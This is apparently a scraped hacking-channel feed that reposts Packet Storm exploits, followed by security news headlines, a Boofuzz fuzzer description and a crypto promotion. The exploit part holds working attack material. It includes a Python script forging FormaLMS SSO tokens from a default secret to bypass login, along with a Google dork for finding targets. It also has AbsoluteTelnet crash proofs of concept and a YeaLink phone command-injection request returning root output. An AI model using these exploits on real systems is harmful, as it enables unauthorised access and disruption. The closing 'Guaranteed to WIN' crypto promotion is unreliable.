Exploit Collector
FormaLMS 2.4.4 Authentication Bypass

https://3.bp.blogspot.com/-BKQJl1oXbqE/WWlvQjSZMJI/AAAAAAAAINE/UWb7sXt4uvssyXVrWpwrINbeIcIr93_vACLcBGAs/s1600/h33.png
FormaLMS versions 2.4.4 and below suffer from an authentication bypass vulnerability.

MD5 | 2b3e4ad97facc1c98739b4b6cc6e66e2

Download
# Exploit Title: FormaLMS 2.4.4 - Authentication Bypass
# Google Dork: inurl:index.php?r=adm/
# Date: 2021-11-10
# Exploit Author: Cristian 'void' Giustini @ Hacktive Security
# Vendor Homepage: https://formalms.org
# Software Link: https://formalms.org
# Version: <=
# Tested on: Linux
# CVE : CVE-2021-43136

# Info: An authentication bypass issue in FormaLMS <=

# Analysis:
https://blog.hacktivesecurity.com/index.php/2021/10/05/cve-2021-43136-formalms-the-evil-default-value-that-leads-to-authentication-bypass/

# Nuclei template:
https://gist.github.com/hacktivesec/d2160025d24c5689d1bc60173914e004#file-formalms-authbypass-yaml

#!/usr/bin/env python

"""

The following exploit generates two URLs with empty and fixed value of the "secret". In order to achieve a successful exploitation the "Enable SSO with a third party software through a token" setting needs to be enabled

"""

import sys
import time
import hashlib

secret = "8ca0f69afeacc7022d1e589221072d6bcf87e39c"

def help():

print(f"Usage: {sys.argv[0]} username target_url")

sys.exit()
if len(sys.argv) < 3:

help()

user, url = (sys.argv[1], sys.argv[2])
t = str(int(time.time()) + 5000)
token = hashlib.md5(f"{user},{t},{secret}".encode()).hexdigest().upper()
final_url = f"{url}/index.php?login_user={user}&time={t}&token={token}"
print(f"URL with default secret: {final_url}")
token = hashlib.md5(f"{user},{t},".encode()).hexdigest().upper()
final_url = f"{url}/index.php?login_user={user}&time={t}&token={token}"
print(f"URL with empty secret: {final_url}")

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Microsoft Windows WSAQuerySocketSecurity AppContainer Privilege Escalation

https://2.bp.blogspot.com/-209TE5VbJR0/WWlvlKjkdxI/AAAAAAAAIQ8/gHk0ahoua8cqyTuIh5dYs6hAVa_ekYeoACLcBGAs/s1600/hack_img.png
The WSAQuerySocketSecurity API returns full anonymous impersonation tokens for connected peers in an AppContainer leading to a sandbox escape.

MD5 | ade1ded7ab08f8d11cd681665642d7ea

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Apache HTTP Server 2.4.50 Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
AbsoluteTelnet 11.24 Denial Of Service

https://3.bp.blogspot.com/-m8d6k5PvpEU/WWlvYbY80xI/AAAAAAAAIOk/9YRDlN0af5krj_sxTfYJBUTX80Cs4dJKgCLcBGAs/s1600/h56.png
AbsoluteTelnet version 11.24 suffers from multiple denial of service vulnerabilities.

MD5 | c4916606f4a527de1d97ff6c1c0f4553

Download
# Exploit Title: AbsoluteTelnet 11.24 - 'Phone' Denial of Service (PoC)
# Discovered by: Yehia Elghaly
# Discovered Date: 2021-11-10
# Vendor Homepage: https://www.celestialsoftware.net/
# Software Link : https://www.celestialsoftware.net/telnet/AbsoluteTelnet32.11.24.exe
# Tested Version: 11.24
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 7 Professional x86 SP1 - Windows 10 x64

# Description: AbsoluteTelnet 11.24 - 'DialUp/Phone' & license name Denial of Service (PoC)

# Steps to reproduce:
# 1. - Download and install AbsoluteTelnet
# 2. - Run the python script and it will create exploit.txt file.
# 3. - Open AbsoluteTelnet 11.24
# 4. - "new connection file -> DialUp Connection
# 5. - Paste the characters of txt file to "DialUp -> phone"
# 6. - press "ok" button
# 7. - Crashed
# 8. - Reopen AbsoluteTelnet 11.24
# 9. - Copy the same characters to "license name"
# 10.- Click "Send Error Report" button
# 11.- Crashed

#!/usr/bin/python

exploit = 'A' * 1000

try:
file = open("exploit.txt","w")
file.write(exploit)
file.close()

print("POC is created")
except:
print("POC not created")
------

# Exploit Title: AbsoluteTelnet 11.24 - 'Username' Denial of Service (PoC)
# Discovered by: Yehia Elghaly
# Discovered Date: 2021-11-10
# Vendor Homepage: https://www.celestialsoftware.net/
# Software Link: https://www.celestialsoftware.net/telnet/AbsoluteTelnet32.11.24.exe
# Tested Version: 11.24
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 7 Professional x86 SP1 - Windows 10 x64

# Description: AbsoluteTelnet 11.24 - 'SHA1/SHA2/Username' and 'Error Report' Denial of Service (PoC)

# Steps to reproduce:
# 1. - Download and install AbsoluteTelnet
# 2. - Run the python script and it will create exploit.txt file.
# 3. - Open AbsoluteTelnet 11.24
# 4. - "new connection file -> Connection -> SSH1 & SSH2"
# 5. - Paste the characters of txt file to "Authentication -> Username"
# 6. - press "ok" button
# 7. - Crashed
# 8. - Reopen AbsoluteTelnet 11.24
# 9. - Copy the same characters to "Your Email Address (optional)"
# 10.- Click "Send Error Report" button
# 11.- Crashed
#!/usr/bin/python

exploit = 'A' * 1000

try:
file = open("exploit.txt","w")
file.write(exploit)
file.close()

print("POC is created")
except:
print("POC not created")

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
YeaLink SIP-TXXXP 53.84.0.15 Command Injection

https://2.bp.blogspot.com/-x_QP5QrO-tY/WWlvkxoh72I/AAAAAAAAIQ4/t-2dHNJyeE0-qZNxsCg7sgdho_ipgPgbgCLcBGAs/s1600/h98.png
YeaLink SIP-TXXXP version 53.84.0.15 suffers from a remote command injection vulnerability.

MD5 | 46ce1eaaaffb2dd76050853790c11dd6

Download
# Exploit Title: YeaLink SIP-TXXXP 53.84.0.15 - 'cmd' Command Injection (Authenticated)
# Date: 11-10-2021
# Exploit Author: tahaafarooq
# Vendor Homepage: https://www.yealink.com/
# Version: 53.84.0.15
# Tested on: YeaLink IP Phone SIP-T19P (Hadrware VOIP Phone)

Description:

Using Diagnostic tool from the Networking Tab to perform a Ping or Traceroute , to perform OS command injection

POC:

POST /servlet?m=mod_data&p=network-diagnosis&q=docmd&Rajax=0.890925468511929 HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 49
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://xxx.xxx.xxx.xxx
Referer: http://xxx.xxx.xxx.xxx/servlet?m=mod_data&p=network-diagnosis&q=load
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=9a83d24461329a130
Connection: close

cmd=; id;&token=1714636915c6acea98

-------------------------------------------------

HTTP/1.1 200 OK
Content-Type: text/html
Connection: close
Date: Wed, 10 Nov 2021 14:20:23 GMT
Server: embed httpd
Content-Length: 82
uid=0(root) gid=0(root)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Insider IP Theft Is Surging — and Most Can't Stop It

The Great Resignation is upon us, and insider IP theft is surging as a result. But it is a solvable problem.

Dark Reading: Attacks/Breaches
Third-Party Software Risks Grow, but So Do Solutions

Enterprises are more dependent than ever on open source software and need to manage the risk posed by vulnerabilities in components and third-party vendors.

Dark Reading: Attacks/Breaches
Cloud Attack Analysis Unearths Lessons for Security Pros

Researchers detail their investigation of a cryptomining campaign stealing AWS credentials and how attackers have evolved their techniques.

Dark Reading: Attacks/Breaches
What Happens If Time Gets Hacked

Renowned hardware security expert raises alarm on the risk and dangers of cyberattackers targeting the current time-synchronization infrastructure.

Boofuzz - Network Protocol Fuzzing for Humans
http://www.kitploit.com/2021/11/boofuzz-network-protocol-fuzzing-for.html

___________________________
@hacking_Attack
@Hacking_Video

Boofuzz is a fork of and the successor to the venerable Sulley (https://github.com/OpenRCE/sulley) fuzzing framework. Besides numerous bug fixes, boofuzz aims for extensibility. The goal: fuzz (https://www.kitploit.com/search/label/Fuzz) everything.
Why?
Sulley has been the preeminent open source fuzzer (https://www.kitploit.com/search/label/Fuzzer) for some time, but has fallen out of maintenance.
Features
Like Sulley, boofuzz incorporates all the critical elements of a fuzzer:Easy and quick data generation.Instrumentation – AKA failure detection.Target reset after failure.Recording of test data.Unlike Sulley, boofuzz also features:Online documentation (https://boofuzz.readthedocs.io/).Support for arbitrary communications mediums.Built-in support for serial fuzzing, ethernet- and IP-layer, UDP broadcast.Better recording of test data -- consistent, thorough, clear.Test result CSV export.Extensible instrumentation/failure detection.Much easier install experience!Far fewer bugs.Sulley is affectionately named after the giant teal and purple creature from Monsters Inc. due to his fuzziness. Boofuzz is likewise named after the only creature known to have scared Sulley himself: Boo!

___________________________
@hacking_Attack
@Hacking_Video

Boo from Monsters Inc
Installation
pip install boofuzz
Boofuzz installs as a Python library (https://www.kitploit.com/search/label/Library) used to build fuzzer scripts. See INSTALL.rst (https://github.com/jtpereyda/boofuzz/blob/master/INSTALL.rst) for advanced and detailed instructions.
Documentation
Documentation is available at https://boofuzz.readthedocs.io/, including nifty quickstart guides.
Contributions
Pull requests are welcome, as boofuzz is actively maintained (at the time of this writing ;)). See CONTRIBUTING.rst (https://github.com/jtpereyda/boofuzz/blob/master/CONTRIBUTING.rst).
Community
For questions that take the form of “How do I… with boofuzz?” or “I got this error with boofuzz, why?”, consider posting your question on Stack Overflow. Make sure to use the fuzzing tag.If you’ve found a bug, or have an idea/suggestion/request, file an issue here on GitHub.For other questions, check out boofuzz on gitter (https://gitter.im/jtpereyda/boofuzz) or Google Groups (https://groups.google.com/d/forum/boofuzz).For updates, follow @b00fuzz (https://twitter.com/b00fuzz) on Twitter.

Download Boofuzz (https://github.com/jtpereyda/boofuzz)

___________________________
@hacking_Attack
@Hacking_Video

Earn $AMPT while Discovering Decentralised Governance
https://blog.ampt.finance/earn-ampt-while-discovering-decentralised-governance-4e32ef9907fd?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Guaranteed to WIN! $70K+ In Total Rewards!!Continue reading on Amplify Protocol » (https://blog.ampt.finance/earn-ampt-while-discovering-decentralised-governance-4e32ef9907fd?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video